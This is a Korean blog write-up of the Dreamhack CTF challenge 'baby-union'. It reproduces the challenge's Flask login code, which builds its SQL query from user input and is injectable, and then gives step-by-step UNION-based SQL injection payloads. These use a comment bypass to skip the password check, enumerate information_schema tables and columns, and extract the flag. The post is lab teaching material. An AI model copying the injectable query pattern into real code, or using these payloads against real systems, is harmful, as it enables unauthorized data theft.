오늘은 dreamhack에 baby-union을 풀어보도록 하자
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
일단 이것이 전체 코드 이다. 우리가 여기서 알수 있는것은 uid와 upw에 값을 맞출 경우 그에 대한 데이터를 알려주는것을 알수 있다. 그리고 문제 파일을 보면 현재 DB가 어떤 식으로 짜져 있는지 알수 있는데
이런식으로 DB가 짜여 있는것을 알수 있다 그러면 이것을 이용해 로그인을 해보면

그리고 여기서 우리가 또 알수 있는것은 구지 upw를 맞추지 않고 주석을 이용하는 방법을 이용하여 값을 조회 할수 있다는것을 알수 있다.
SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';
sql을 이런식으로 요청을 보내게 되는데 그러면 uid뒤에 주석인 (-- ,#)을 이용하면 주석을 통해서 upw를 맞추지 않고도 값을 조회 할수 있다. 그러면 이것을 이용할것인데 여기서 sql구문을 보면 현재는 fake_table에 대해서 알려주고 있는데 이것을 우회 하여
진짜 테이블에 있는 플래그를 얻는것이 우리에 목표이다.
그러면 여기서 우리가 사용할것을 UNION구문 인데 UNION구문을 사용할려면 컬럼에 갯수가 같고 같은 자료형이어야 한다.
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
fake_table과 users가 같은 컬럼 갯수에 같은 자료형이므로 UNION구문을 사용할수 있게 된다.
그러면 UNION구문을 이용해서 진짜 flag를 찾아보자
' UNION SELECT 1,table_name,table_schema,4
FROM information_schema.tables
WHERE table_schema=database() #
이런식으로 값을 넣어주게 되면 '로 인해서 문자열로 인식되는것이 아닌 sql명령어로 인식하게 된다
여기서 UNION은 두개의 테이블을 합쳐서 출력 하도록 해주는것이다 그리하여 아까 말해듯 컬럼에 갯수와 자료형이 같아야 한다.
그래서 이 구문을 하나씩 해석 해보면 우리가 찾아볼 컬럼을 확인 할것인데 우리가 직접적으로 찾아야 할것은 table_name,table_schema이므로 중요하지 않은 부분은 그냥 1,4로 자리를 채워준다 그후
FROM에 information_schema.tables을 통해서 데이터베이스에 있는 모든 테이블을 가져와 table_schma 우리가 확인할 데이터 베이스 이면 데이터를 넣어 출력 한다. 그후 주석 처리를 해주면 upw를 몰라도 값을 조회 할수 있다.

그러면 이렇게 현재 데이터베이스에 있는 테이블들을 알게 되는데 그러면 여기서 우리가 필요한 테이블에 이름이 onlyflag라는 것을 알수 있다. 그 onlyflag라는 테이블에서 어떠한 컬럼에 flag가 있는지를 확인 해야 한다
' UNION SELECT 1,
CONCAT(column_name,' (',data_type,')'),
table_name,
4
FROM information_schema.columns
WHERE table_schema=database()
AND table_name='onlyflag' #
이것을 이용하여 컬럼에 종류를 확인할것이다 여기서 CONCAT를 이용하여 column_name과 data_type,table_name을 붙여서 출력 하게 한다 여기서 우리가 확인해야하는 값은 onlyflag에 있는 값만 확일 할수 있도록 AND를 통해 조건을 넣어주게 된다.

그러면 이런식으로 나오게 되는데 여기서 우리가 idx를 제외한 부분을 합친것이 플래그가 되게 된다.
그리하여 이 모든 부분을 출력 하게 하기 위해 uid에
' UNION SELECT 1,CONCAT(svalue,sflag,sclose),'',4 FROM onlyflag #
모든 컬럼을 붙여서 출력 시키게 되면 플래그가 나오게 된다.
'웹해킹' 카테고리의 다른 글
| Command Injection (0) | 2026.10.27 |
|---|---|
| sql injection bypass WAF Advanced (0) | 2026.10.25 |
| blind sql injection advanced (0) | 2026.10.24 |
| Black-Hacker-Company (0) | 2026.10.20 |
| web-ssrf (0) | 2026.10.19 |